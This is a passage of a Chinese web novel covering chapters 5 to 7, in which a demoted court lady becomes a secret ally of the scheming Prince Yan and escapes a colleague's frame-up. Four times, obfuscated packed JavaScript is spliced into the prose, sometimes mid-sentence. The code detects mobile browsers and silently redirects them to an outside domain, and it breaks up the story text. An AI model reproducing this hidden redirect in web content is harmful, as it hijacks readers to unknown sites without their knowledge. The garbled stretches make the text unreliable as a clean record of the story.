可这桂花糕分明只是民间的吃食,宫中的桂花都是用来赏、品,哪有用来做甜点的? 陈子兆看他为难样子已经知道宫里多半没有,暗骂了几声麻烦,却也只能找手下人去宫外采买。 不合宫规,可他堂堂一个王爷,被囚于内宫,也不是自己出门,只是让手下人去买些吃食,也没人敢拦,落匙之前,好歹算是把一盒桂花糕端到了陈子兆眼前。 陈子兆先吃了块,入口清甜,桂花飘香,但紧接着却是腻死人的甜味,扒在舌尖上久不消散。他原本对吃食就不感兴趣,甜食更差,只是好奇它什么味道,吃了却只觉得失望。 “殿下?”陈子兆的喜恶一向不会放在脸上,再怎么讨厌,他面上也能露笑,所以手下人很难单凭神色看出他喜欢还是不喜欢,可好不容易买来的桂花糕,他吃了一块就放下,怎么看也是不喜欢的。 那这么着急做什么? 陈子兆拍了拍手,手里的糕点碎渣掉得满地都是,他拎起食盒直接去了尚书内省。 拦他的人听说他是去寝房找周明空,也就讷讷地收回手,不敢再拦。反正进的不是尚书内省的正殿,不接触机要文书,也不算过分。 内官或多或少都听说,周明空是因为办了有关于燕王的差事才受罚,谁也不知道燕王到底为何而来,万一要是来杀人的,这一拦错了,惹怒了这尊杀神,不就把自己也牵连进去了? 陈子兆毫无滞涩地走进周明空的寝房,顺手关了门,接着把手里食盒撂到她枕边,发出“噔”的一响。 “受罚了?” 周明空没应话,陈子兆便继续问她:“留书翰林院?” 他语气还是一如既往的轻慢,带着笑意,周明空能感觉到他似乎并不生气,所以她偏过头去看了陈子兆一眼,视线直挺挺地对上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454232|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈子兆从她屋子里拽了个椅子过来,坐到旁边,“孤与你见过九次了,这是你第一次敢一上来就这么直愣愣地盯着孤看。” 周明空撇了撇嘴,她实在是死得太多想摆烂了。而且之前陈子兆已经知道了她本性是什么样,还在这里伪装老实、勤恳的女官也有点多此一举。 “说吧,任务奖励里不是要让孤知道一些事情吗?” 周明空张开嘴,“殿下,任务内容可是要让我吃到嘴里才算,还差一步呢。” 陈子兆眯了眯眼,眼睛里流出的光冷且利,但周明空却敏锐地察觉,那并不算杀意。 他从食盒里拿了块糕点出来,放到她嘴里,“周宫正,孤确实有些小瞧了你,僭越的笔墨也好,谶讳的字词也好,都让你轻松解决,那你为什么会犯留书翰林院这种错误?” 他知道她已经被贬为尚仪,可还是称呼她原先的职司。周明空先是冷哼一声,知道得这么清楚,当然是因为这几样手段多半都是陈子兆安排的。 还真是一点也不意外。 心里骂上千百遍,但她咀嚼着满嘴香甜,还是满足地打了个嗝,“所以燕王殿下也认为是我昏了头,成心想恶心你?” “是谁所为?” “不知道,但我确实是被陷害的,”她将整件事从头至尾讲给陈子兆,接着才慢慢分析,“首先,这件事本身做得没有意义,即便那封制书最后拿到外朝,也没有人保证海图堪舆最后会按照文书所写留书翰林院,你不可能不过问,东窗事发,那张图还是要回到翰林院学士府。” “其次,我一个小小内官,害我有什么意义?我一不掌权,二没有影响官家决定的能力,都是按照上司差遣做事,任何事中我都没有决定的作用。” “我今日看着窗外景色想了一日,才终于想到一个可能——” “有人不想尚书内省女官与殿下过于亲近。” 外人均不知道有强制系统存在,那么这件事从表面看来,就应当是陈子兆那日与她在桂花树下举止亲昵以后,就有人陷害她糟蹋陈子兆的心血,两相对照就该是想让他们保持距离,甚或就此反目。 陈子兆面上还是笑的,“这就是你的任务奖励?” “我以为这件事对殿下来说会有用,毕竟殿下能找人在我的桌子上动些手脚,自然是因为殿下在尚书内省有人的缘故。” 他从食盒里又拿了一块糕点,放进她嘴里,接着把她唇角上沾的碎屑逐一抹掉,“不想,又如何?” 周明空简直想翻白眼,“行吧,没用的话,那殿下自便。” “这消息没用,但不代表别的也没用。” 什么意思? “孤的人在尚书内省不假,但能做的事却有限,你却不同,”他把她唇角的碎屑都揩拭干净,接着捏着她的下颌,让她仔细看着他的眼睛,“你现在可是孤的政敌,明面上孤必定嫌恶的人,那你能为我做的,定然比其他人都更多。” 间谍是吧?这么有难度的任务非要找她吗? 而此时,陈子兆一边笑着说话,一边碰了碰她的伤处。 一时嚎如杀猪。 “陈子兆!我杀了你!” 5. 第 5 章 有时候真挺怀疑男主就是变态的。 六十廷杖本身打得就不轻,他还非往她伤口上动手,伤上加伤,原本可能将养半个月就能好,这回怎么也要在床上趴一个月。 周明空后来抱着食盒数了数,陈子兆送来的桂花糕刚好三十块,要是存放得宜,不潮浸虫蛀的情况下刚好在养伤期间一天一块。 说他没经过缜密计算她都不信。行吧,下手还挺有轻重。 不过陈子兆来过以后,尚书内省里的流言就开始逐渐离谱起来。 “她们都说啊,是燕王喜欢你,?想强娶你,可你抵死不从,又恨他对你过多纠缠,所以你才怒从心头起,恶向胆边生,直接将他七个月心血做出的海图堪舆留书翰林院,嘲讽他不过是一玩物而已。他呢,见你这么不识抬举,就跑来对你用了大刑,逼你就范。” ……。 好一出虐恋情深。 当事人有些想给这个故事点个赞。 不过比起这个故事,周明空有其他的疑问。她看向讲述人手里捧着的西瓜,红彤彤的,瓜瓤还带着点霜色,像洒着一层细沙,“长赢,这都秋日了,你哪来的瓜?” 还是沙瓤的。 “今日膳房供的,说是京畿官庄里种的新品种,结出来不少,官家和刘娴妃用膳时提了一句,说娴妃不是尚书内省出身?现在偶尔还会帮官家览阅文书,辛苦得很,又说娴妃辛苦,那尚书内省宫人应当也是辛苦的,这瓜既然结得多,那就给尚书内省也分一分。” “嘿嘿,吴执事她们都说娴妃不好,可是吃瓜的时候她们可一个都没落下。” 这还真是瓜田都大丰收了。 “你还没说呢,她们传的你和燕王殿下的事,几分真几分假?” 周明空瞥了眼刘长赢手里的瓜,叹了口气,“我把他七个月心血送到翰林院是真,燕王殿下怨上我是真,恨不得杀了我也是真。” 至少表面如此。 “真没有他爱上你,你拒绝他?” 周明空想劝刘长赢少看点话本子。 “可那位燕王殿下来对你动大刑那日,不是还给你带了桂花糕吗?”刘长赢吐出几粒西瓜籽,指了指周明空还摆在床边的食盒。 红漆雕就,重色剔彩,上面的云纹就像是在浮动一般,能在一个盒子上见得风起云涌,足见工匠手艺。 陈子兆的东西都是好东西。她估摸他当时就是随手一拿,他好东西太多了,根本不在意,可这盒子放在她屋里—— 确实有点乍眼。 周明空噎了半晌,这是真没办法解释。 刘长赢手里的瓜咬到快见底,正是汁水最富集的时候,她小心翼翼地把汁水吸出来,咽下去,再咬一口,“没事的明空,我知道你一心只想在尚书内省好好做差事,尤其不想和燕王殿下有什么瓜葛,但那可是燕王殿下,他想做什么谁都猜不到,连官家都拿他没办法,你怎么阻他喜欢你?” 求求了,这瓜再吃就该变味了。 周明空急得想从床上爬起来堵刘长赢的嘴,结果又牵扯伤口,疼得她呲牙咧嘴。 刘长赢把瓜吃完,还想再评价几句,但这时寝房的门被推开,夏宜人端着纱布、剪刀、药瓶子进了房。 “刘长赢,你怎么还在?”她脸上的嫌弃明显得有点显而易见,“我要给她换药了,你准备留下看?不怕血了?” 刘长赢脸白了一瞬,捏着瓜皮三步并作两步地跑出了门,但她人都跑出去了还是从门外又探头出来对八卦进行了最后一句总结:“不过明空,你居然敢喊出来要杀了燕王殿下,现在内官们都说,打进宫那日起就没见过比你更勇的!” 总结完就又把探出来的头收回去了。 ……。 夏宜人正将她伤口上包的纱布拆开,听见这话,状似一个不留神,指甲刮到周明空的伤处,疼得她冷汗直流。 “一时气话,随口发泄一下,不能作数,燕王殿下龙章凤资,天纵之才,我能有这个本事对他不利?” 真是气话,上回动了杀他的心死得有多惨,周明空都不想仔细回忆。 夏宜人没理她,就是换药的动作几乎堪称鲁莽。疼得周明空觉得要不这药还是别换了,“夏宫正,我当真是感谢你能在百忙之中雪中送炭施以援手,可是吧——” 夏宜人把旧纱布取下,又涂上了新药,“可是什么?” 她涂完药没缠新纱布,作势就要收拾东西,周明空慌忙变了口风,“可是我认为你这般辛苦,不吃个桂花糕实在是不合适。” 夏宜人听了这话撇了撇嘴,但还是回过头又用新纱布去包裹周明空的伤处,“你以为谁都像你一样爱吃这些乱七八糟的东西。” 周明空没反驳,桂花糕虽然只是民间吃食,但确实不在她们可吃的清单内。像她们这些内官,一两个瓜都要靠官家恩赏,这种宫里都没有的糕点,确实可以称得上“乱七八糟”。 但她还是从食盒里拿了块乱七八糟的桂花糕塞到夏宜人手中。 “你做什么?” “方才那是场面话,这是真心谢你。” “谢我?” “谢你,长赢怕血,阖宫上下此时又都不想与我沾染什么关系,虽然我不明白为什么,但只有你最后肯帮我一把,我自然要谢。” 周明空半趴在榻上,上药时夏宜人下手极重,她现在还觉得腰部以下疼得发麻,可还是撑着半截身体,向夏宜人道谢。 夏宜人冷着脸哼了一声,但也没把桂花糕再退回去,“燕王殿下说,你死了他会很麻烦。” 果然。周明空揉了揉自己的太阳穴,毒唯能和黑粉和平共处的唯一原因当然是正主发话了。 “他怎么和你说的?” 夏宜人眉头一皱,“从你寝房出来时燕王殿下自己低声念叨,好像下手太狠了,真死了怕会有些麻烦。” “你那时叫得半个宫室都能听见,内官们都说燕王殿下不知道用什么手段折磨你,怕是活不了两日。” 所以毒唯怕正主麻烦缠身,就只好屈尊降贵救她这个黑粉。周明空都有点心疼夏宜人。受委屈了啊,就为了陈子兆,明明已经对她厌恶到了极点,还要冷脸给她换伤药。 而此刻尚书内省正潜伏着一只按手,可能要拔除所有将要或者可能与陈子兆有瓜葛的人。 越想越觉得夏宜人危险。 周明空又趴回了她的床榻,思来想去还是准备提醒她一句,“夏宫正,我此番虽然受罚,但我自省近日言行,觉得最不该的就是与燕王殿下有瓜葛,倘若那日送书之时,我与殿下能注意分寸、尺度,恪守内官之责,留书这一桩差事也就不会落在我的头上,那后续我也便不会犯错。” “你能明白我的意思吗?” 稍微和燕王殿下保持一点距离,没事也不要听他的总想着害我,尚书内省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454233|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里防备燕王的黑手也不会伸向你。你好,我好,大家好。 夏宜人却急了,“你自己龌龊心思别觉得谁都跟你一样!燕王殿下高居九天,是我们这种内官能相匹配的吗?再者——” “别说得罪魁祸首是殿下似的,你受罚的原因是你制书时写错了留书何处,跟殿下有什么关系!” 周明空想给自己两巴掌,好好的在唯粉跟前胡说八道些什么。 眼看夏宜人气得脸颊通红,她赶紧把话锋又转了转,“我错了,我错了,只要你别再往我桌案上放什么僭越笔墨,写什么谶讳字,怎么都行。” 夏宜人反倒愣了,憋了半晌才终于问她:“周明空,你怎么什么屎盆子都敢往别人头上扣?” 周明空也愣了:“不是你干的?” 两个人大眼瞪小眼看了半晌,都不太明白对方到底在说什么。周明空看她不像作假,又盘了一遍所有事情。 她一直以来单纯从动机推断,觉得对方对陈子兆的感情都表露得这么明显了,那这些事还能不是她干的? 好的吧。从陈子兆没完没了杀她的时候她就应该反应过来,这影游主打一个反套路了。人家夏宜人毒唯归毒唯,但不是女友粉,是事业粉。 那现在局势就越发复杂了。 僭越笔墨和谶讳字明显都是陈子兆的安排,留书翰林院学士府改为留书翰林院则是另一人的手笔。这偌大一个尚书内省,现在正潜伏着至少两个能送她BE的人。 而她就剩一条命了。 原本以为夏宜人是明牌,结果居然是个幌子。 “幌子”本人显然对周明空失望至极,走出去时拿帕子一遍又一遍地擦着手,像是刚刚触碰过什么脏东西一样。 周明空目送她出门,下颌重重地砸到枕头上,开始唉声叹气。 必须要保证陈子兆能跟“队友”知会一声,她周明空现在是自己人,不能再使绊子下阴手了,不然真扛不住。 她默默地点开任务发布界面,咬了咬牙,认命地填上了任务内容。 【发布任务内容:半个时辰内告知潜伏在尚书内省的内线周明空是自己人的消息】 【完成奖励:以后能力范围内帮你做事】 【失败惩罚:手指刺痛一天】 陈子兆接到任务时正在看佛经,从周明空手里拿走的那册《无量寿经》。佛家箴言正一个一个地印到脑海里,刚好撞上周明空如同求救一般的缔约申请。 指节敲了敲桌案,一身黑衣的手下躬身待命。 “通知一下尚书内省里的人,不要再动周明空了。” “还有,”他的指腹摩挲,佛经纸张也是触手温软的,“我们是不是要摸一摸尚书内省里其他的钉子了?” “殿下的意思是?” 陈子兆放下佛经,眸光冷冽,“拔了钉子,才好换一颗我们的。” 手下人犹豫了一下,“殿下您真的要用那个周明空吗?” 比起自己人,她看起来其实更像个变数。 佛经封面上的金纹印在他掌心,如龙纹一般,“物尽其用才不算浪费。她现在是帮孤查出那幕后主使的最佳人选,只要确定,到底是谁在暗中布局算计,到时再杀她不迟。” 半个时辰后,系统提示,任务达成。 周明空从食盒里又摸出一枚桂花糕,开始安心地咀嚼。 满口清甜,又活过一天。 6. 第 6 章 一月之期,又是转瞬即过,院子里桂花都开成了枯萎的焦色,周明空的伤就养好了。 按照她的推测,这接下来肯定要迎来宫斗上的血雨腥风。毕竟就算现在当了陈子兆的队友,可尚书内省明显还潜伏着另一股神秘势力。 陈子兆都说了让她作为他“明面上的敌人”为他做事,那等待她的能是简单局吗? 这么一想,她就隐约觉得自己的伤好得有点太快了。 秋风瑟瑟,树叶已落下了一层,可伤口却不能如她所愿,让秋风一吹就又恶化起来。 在她将好未好的时候,吴执事突然一反常态,每天下值就来问候她一句,顺便再问问伤养得怎么样了啊,什么时候能下地走路了啊,诸如此类。 领导一般情况下会这么关心你,必定是惦记你什么时候能回去上班,所以等周明空的伤养好没几天,她就心不甘情不愿地回去当差了。 尚书内省里当值的内官,共分五个品级,以崔夫人的尚字直笔为首,以下是吴执事的司字直笔,再之后是典字直笔和直笔宫正,最低等就是直笔尚仪。 周明空原本是倒数第二档的直笔宫正,现在因为不知道哪来的幕后黑手直接被撸到了最底层,每个月拿的钱少了不少,连餐食的标准都有了一个档次的下降,属于是一朝回到解放前。 面子上一点不悦都不能表露,但其实心里的悲伤快流成了护城河。 回来当值的第一天,吴执事领着她路过原本当值的宫室,但却没进去,反而进了侧首的偏殿。 门窗都是素净的陵纹格,初秋刚过,也没到糊纸的时候,通风良好,门后的文书就堆积如山,一摞又一摞的,随意散放,完全看不出本来的用途。 周明空愣住了,“姑姑?” 她也不是没进过留书偏殿,这地方虽然书籍、文书杂驳交错,但绝对不应该是现在这种完全没人管的状态。 这什么情况? 吴执事笑得很是亲切和蔼,“你养伤时候我也不好和你讲,原来负责分拣留书的郑执事她前几日刚满三十五岁,外放出宫去了,她在的时候也没带出几个人手,这不是崔夫人做主,让你现在来这里做事?刚好就接替了她的差事。” “这是好事啊,你看你来此管理分拣和藏书,上面也没有管事的执事,虽为尚仪,但做的也是典字直笔的差事,正好锻炼一下。” ……。 好像领导画饼。日子也是好起来了,穿个影游都能吃上画饼了。领导,你要不要起码想想,海图堪舆留书的事情上你眼前这个正被你推进垃圾场的小人物也是帮你扛过锅的啊。 眼见周明空的颜色越来越难看,吴执事还是咳嗽了一下,“我帮你向崔夫人申请了,虽然现在月例肯定不能动,还是尚仪的份额,但伙食、待遇方面可以参照典字直笔。” 周明空的眼神又亮了下。 “只是差事绝不能出错。” 周明空赶紧行了一礼,“那是自然。” 她做事一贯都是严谨认真,鲜少真的出岔子,这次到底是什么情况,吴执事心里也有数,她拍了拍周明空的手算是安抚,接着就回去做自己的事。 偌大个藏书殿,就只剩她自己。 周明空把袖子挽起,蹲下身,一本本册子翻开,仔细审看再做分拣。 书页让风吹卷,沙沙的响,手里那册是外朝户部总集的各州府今年钱谷情况报与官家知晓,她一边翻看一边觉得,其实就这么和留书打交道,好像比和人打交道好得多。 周明空正在殿里分书听风时,刘娴妃坐在窗边听风铃。 风是同一阵风,只是不知道是从此吹到了彼,还是由彼吹至此。仅在翻开侧殿的书页时,也掀动了深宫里一枚风铃。 当今皇帝有头疾,沉疴起时根本听不得一点杂音,宫里都是绝不让摆这些乱七八糟的装饰,唯有刘娴妃这里除外。 那串风铃的铃舌是一枚箭镞。 官家刚刚即位不久,在深山行猎,遇到了刺杀,当时要不是刘娴妃相救,只怕那时辰国就已没有了皇帝。 锦袍金玉之下的哪是肉体凡胎?那是权宦、乱臣眼里的靶心。 官家一直以为她留着那只箭镞是留着他们二人之间的情意,但刘娴妃自己知道,她留的是一个警告。每次风响都要提醒自己,官家同她的今日得来何其不易,守不住,那是随时会丧命的。 “娘娘,听崔夫人说,之前杖责六十的那个小内官伤养好了,今日去上值。” 刘娴妃微微偏头,满头珠玉摇晃,叮当作响,“周明空。” 她将这个名讳念过一遍,“改日见见吧,我对她很感兴趣,如果是个可用的,或许可以——” 她没继续说下去,大概是因为她知道,她不需要说出全部内容,和她配合多年,分外默契的宫人就能听懂她的弦外之音。 果然,来禀报的宫人微微垂首,“娘娘说得是。” 风铃又响了一声,宫里的风还在吹,从彼到此,从此到彼。 周明空不知道深宫内院有个人在朱唇皓齿间咀嚼过她的名字,她只是头疼于眼前这些留书,旧的还没有全数拣完,就又添新的。 厚厚一摞文书被搬进来,左拨右拣才挑出个空隙,把新的那摞撂下,书堆砸下的刹那,周遭其他书也被惊得跳了一下,似乎也在讶异怎么还有这么多。 送书册的内官也实在也有点不忍。 “我帮帮你吧。” 周明空把头从文书里拔出,即看见一个圆脸圆眼的小内官正看着她。 她对面前人隐约有些印象,似乎每一幕剧情线里总能在人堆里见到她,但因为和所有事看起来都没有交集,因而她不太记得她的名字,在记忆里搜寻了半晌才想起来她好像叫王芮。 “王尚仪,没事,没事,你先去忙自己的差事吧。” 王芮摇了摇头,“我那边差事做完了,夏宫正才让我来送文书。” 周明空点了点头,“那你帮我把这一摞归集到左手第二排的架子上。” “好。”她生得有些娇小,一摞文书端到手里就被压得有些摇摇晃晃,周明空有点不忍,想帮她抽两本出来,但王芮很坚持,她一边感慨这影游还是好人多,一边也就由着她去了。 王芮帮她搬了不少,两个人肯定要比一个人做起来要快,等日头渐斜,尚书内省敲了晚歇钟,偏殿里起码不像周明空刚进时那样凌乱无序。 她长出口气,向人道了声辛苦,这才关门出来准备去用膳。 等走出几步,被晚风一吹,深秋的风已同冬日有些暗通款曲,虽然说不上刺骨,但打到身上也足以让没什么准备的人打个冷颤。 她小跑了几步想回偏殿拿件外套,结果一回头就见一个内官服饰的宫人从回廊里跑过去,脚步有些急慌,周明空一开始想,是不是王芮落下了什么在殿里又回来取,但她又想起这尚书内省里潜藏的波谲云诡,又觉得似乎不能想得这么轻易。 宫斗嘛,总是会在不经意的时候冷不丁就蹦出点乱子来。 高端局尤其如此。 她推门进了自己的偏殿,又把白天的那些文书一本一本点拣过去,起初什么也没翻到,等她怀疑自己多心的时候,视线从第三排木架上扫过,结果就瞥见了一册文书里似乎夹着一张纸。 拿食指和中指一夹,薄纸抽出,她将那蝉翼似的纸张摊开,便见得入目即是最醒目的四个字—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454234|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一切如常。” 她再将纸张翻转,背面还有几行小字,凑近了一行一行瞧清楚,上面写的全是近日尚书内省帮官家草拟的诸项细则。 ?? 看着有点像哪个尚书内省的女官同外朝私联的罪证啊,怎么会出现在这?让人发现就是死罪。她又把那张纸举起来翻覆细看,字迹是工整的楷书,太工整了,以至于基本无法从笔画细节中判断到底是谁的笔迹。 周明空犹豫片刻,准备把那张纸放到蜡烛上烧毁,不管是谁放到这的,从她这侧殿里跑出来,她都说不清楚。 火舌燎动,她将纸片逐渐靠近。 “我要是你,就把它放回原处。”陈子兆抱臂而入,刚好在纸片距火舌只剩一线距离的时候拦住了她。 周明空收回手,“殿下是不是来尚书内省来得太勤了些?” 这地方毕竟是机要重地,一月来一回,这事要传到外朝,不知道那帮言官能把他骂成什么样。 陈子兆从怀里掏出《无量寿经》扔给她,“孤来还书。” “顺便也来看一眼周宫正,不对,你已降为尚仪,孤再以你旧日职司相称似乎不妥。” 他来时光明正大,推门而入也没想着避讳旁人,方才是敲了晚歇钟,内官基本都去吃饭,这会有些吃得快的已经回来了。 比如——刘长赢。 “殿下?您怎么又来了?来找明空吗?可是这偏殿存的都是外朝留书,不能擅入的。诶,明空,你手里是什么?” 她尚未曾答话,门外忽然又涌进来一串人,为首的是吴执事,后面跟着王芮和几个内官。 这几个内官周明空就很熟悉了,每次在尚书内省死的时候都是她们拖走的,专门负责处置犯事内官。她晃了晃手里那张纸,“姑姑,您要这个?” 吴执事尚未接腔,旁边已经有内官抢下了她手里那张纸,转交给了吴执事。 王芮忽然插了句话:“姑姑,要不是今日在这帮她整理文书时亲眼所见,我真没想到周尚仪会做出这等暗中联络外臣的事。” 王芮脸上神色惋惜,眸色却阴狠。 周明空还能不知道怎么回事?她才把这张纸捏到手里,王芮就能带人来抓,那还能是什么情况?只能是她出毒计准备诬陷。 就是吧,孩子你演技太差了啊。 周明空分外感慨,她倒是不太害怕,毕竟陈子兆在,燕王殿下还等着她去卧底,肯定不会眼睁睁看着她死。 可还没等她象征性地辩驳两句,就见吴执事把那页纸凑到眼前细瞧了两眼,忽然一伸手,食指点向了王芮。 “抓她,诬陷同僚,私通外臣,我们尚书内省都好些时日没出过这种人了!” 嗯??这又是什么情况?王芮也懵了。 吴执事将那张纸又晃了晃,递到王芮面前,薄纸在空中舞动了几下,等停驻到王芮眼前时,那白纸黑字明晃晃的,看不出任何问题。 王芮大喊冤枉,吴执事则用食指点了点那张纸边缘空白处,那里有半枚砚台压出的印花,砚是中山砚,尚书内省直事制书草拟用的官砚,与偏殿里的砚台是全然不同的。 也就是说,这张纸必须是还在尚书内省制书的内官才能写成。 既在尚书内省制书,又知道有这张纸存在,同时满足两个条件的只有王芮。 王芮跌坐在地,面如死灰。 周明空看看四周,又看了看陈子兆,燕王殿下正抱着双臂,好整以暇地看戏,甚至偏了偏头,向她报以一个微笑。 你要说这事和他一点关系都没有,那鬼都不信。 什么情况?说好的高端局呢?怎么这宫斗才刚开始就结束了?直接就被队友带飞了? 7. 第 7 章 王芮被拖下去时一句也没有喊叫,她只是用阴冷的目光瞪着周明空,像一条蛇。 周明空又叹了一声。 她是被害人吧,怎么做局害她的人恨她恨得咬牙切齿的?再说了,这把她纯躺赢,被坑得稀里糊涂,赢得也稀里糊涂,所有操作都和她无关,这账怎么也能算到她头上呢? 王芮只是瞪着她:“周明空,别以为你将我踩下去就能借机攀高枝!你迟早也会落得和我一样的下场!” 圆圆的一对杏核眼瞪出了红血丝,原本年画娃娃一样的脸只有刻骨的怨毒。 怎么能恨成这样? 周明空挺无奈的。 黄昏最后一抹残阳从窗格里爬出,偏殿里的烛火在深蓝色的夜里显出昏黄来。 吴执事向陈子兆行了一礼,影子拉得长长的“殿下虽说是因故至此,但也不便在尚书内省耽搁时辰,至于周尚仪,上次的事,虽说与殿下有关,我们尚书内省自己也罚了,无论如何,法度仍在,没有让殿下委屈的道理。” 这其实既是在推陈子兆,也算在保周明空了。 毕竟整个尚书内省都知道他上次来时虽然带了一个食盒,但也让周明空半个月能好的伤养了一个月。 谁知道他现在心里是不是还在记恨。 陈子兆点了点头,“吴执事说得在理,只是官家留孤在内宫修身养性,一册佛经怎么够研读?还是要请尚书内省多帮孤选拣几册才行,文书偏殿是机要重地,孤不便久留,在门外等也是一样,只是还劳烦周尚仪亲自来送。” 他一直站在偏殿门外,靴尖就贴着门槛,距离门内机要仅一步之隔,可他分寸拿捏得刚好,极近却不会逾越。 像极了他在朝中的情形。 吴执事敛眸垂首,有些犹豫。 “信不过孤吗?”还是一贯轻慢里含笑的语气,但谁也不知道他这只是一句漫不经心的提问还是怒气在暗流涌动。 吴执事赶紧行了一礼,带着王芮和几个压着她的内官一并散去。不管了,管不得,这尊杀神真想要犯忌讳,她们排成一列也不够给人砍的。 没必要在这以身殉职,真没必要。 陈子兆咳嗽了一声,吴执事停了一步,带着人退得更快了。 刘长赢还眼睛亮亮地准备看热闹,但是一抬头就看见陈子兆笑眯眯盯着她看,笑容是和煦明媚的,眼神却森然,她瞬间感觉这深秋确实有些冷。 但她没有第一时间出门,而是走到了周明空身边,轻轻拍了拍她的肩膀。 周明空看她颤颤巍巍的样子就知道,刘长赢其实已经被陈子兆的淫威吓唬得肝颤,还能坚持留在她身边已经是对闺蜜最大的力挺。 她叹了口气,心说这阎王是真造孽,随即轻拍了拍刘长赢的手背,“没事,天太冷了,你去加件衣服吧。” 闺蜜啊,承你情了,但是这货都弄死我这么多回了,他是真下得去手,你去吧,不怪你。 刘长赢听了这话,飞快地跑了,罗袜片尘不沾,跑得一点不比吴执事慢。 周明空叹了口气,把那册被塞回来的《无量寿经》翻了翻,确认其内没再藏进任何古怪,这才整理了一下,安放回了摆放佛经的架子上。 陈子兆站在门外看着她动作。 她的手指开始在书架间逐册游移。 【发布任务内容:对以下所有问题如实回答】 【完成奖励:两册新的佛经】 【失败惩罚:失眠一夜】 “问吧。”对这个任务的出现,他毫不意外。 “尚书内省中此刻除了殿下的人以外,应当只剩下另一方势力了,殿下的人不该害我,那就是另一方的人。” “很合理的推断。” 周明空翻出一册经书来翻看了两下,书页翻过时沙沙的声响将她的声音也掩去了些,“潜藏的另一方是谁?” 太阳已完全沉了下来,灯火朦胧,从屋内淌出,在地面倒影出陈子兆的影子,因为遥远的距离而扭曲变形。“不确定。” 不确定?这是什么答案? 陈子兆脸上的神色有些理所当然,“孤如果知道幕后究竟是谁,那还需要周尚仪做什么?” 任务提示还摆在那,没有失败提示,也就是说陈子兆的答案是真实的。也对,如果陈子兆知道敌人是谁,他有的是办法将对方千刀万剐死不瞑目,还让她去卧什么底。 他用她,就是为了让她去做马前卒,趟趟那楚河汉界的水有多深。 她揉了揉眉心,换了个问题,“王芮是你的人摸到的?” “对。” “我刚刚是看到有人从偏殿出来,怀疑有人来动了手脚所以才回来检查,”她开始梳理思路,语速放慢,“王芮今日在我这侧殿待了许久,她那时塞纸条的机会多得是,没必要之后再潜入。” “所以我见到的那个人应当不是她。” 她抬起头,视线被面前的书架切割,陈子兆含笑的嘴被挡住,她就只能看见他那双凤眼里暗藏的刀光,“不是王芮,就只能是你的人知道了她会害我,所以在这么短的时间里,带着砚台进了偏殿,然后盖了印花。” 陈子兆笑得更好看,“你自己分析得很好,没有需要我回答的。” “但我现在有三个问题。”周明空没有收回视线,却合上了手里的经书,纸页碰撞,自有铿锵。 “其一,王芮之前的手段是神不知鬼不觉地贴黄,再偷偷撕去,完全不需要她亲自出面,可她今日这法子,却必须要由她自己出面举告,成与不成,她都将自己置于幕前,风格迥异,这是为何?” “自然是因为本就是出自两个人的手笔,”灯火流进陈子兆的眼中,“她今日所为与她幕后人没有半点关联,而是她自己自作主张。” “这就是我第二个疑问,为什么?”周明空把那本书塞回书架,取出第二本来。 “因为她多半已察觉,她身后的这个人此刻已不是非她不可。” “什么意思?” 周明空其实已经多半猜到了,陈子兆让她为他做事,那首要的第一步当然是她必须被潜藏在暗处的势力纳入麾下,不然她卧谁的底? 陈子兆没回答,似乎也觉得这个问题有点过于简单,她自己可以想得明白,没有必要回答。 周明空开始翻看第二本书,“既然是两个选择,那最后胜出的也未必就是我,她又何必心急?” 陈子兆沉吟片刻,“你出身荥阳周氏,是周文公的孙女可对?” 周明空开始回忆她自己的人设,好像确实是。 “王芮出身普通良家,幼年如果不是她母亲坚持,她连字都不会认。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454235|185313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周明空把那册书丢回书架,“这又和她的出身有什么相关?” 陈子兆道:“如果不是拿来陷害你,这张纸应该会出现在明日送去刑部的文书里,而她的母亲就能从刑部孙大人家中拿到五十两银子。” “那又如何?” “她背后的人既然不希望尚书内省与我有过多瓜葛,当然也不希望你们这些内官同其他外臣有过多瓜葛。既然她并不听话,那在有另一个选择的情况下,你认为他们还会选择她吗?” 不会。 